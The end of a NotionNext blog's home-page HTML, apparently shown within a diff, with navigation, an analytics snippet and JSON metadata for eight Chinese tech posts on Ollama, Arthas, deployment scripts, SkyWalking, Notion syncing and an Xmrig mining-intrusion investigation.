hover:text-green-600"></i></a></div></div></div></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/","query":{},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
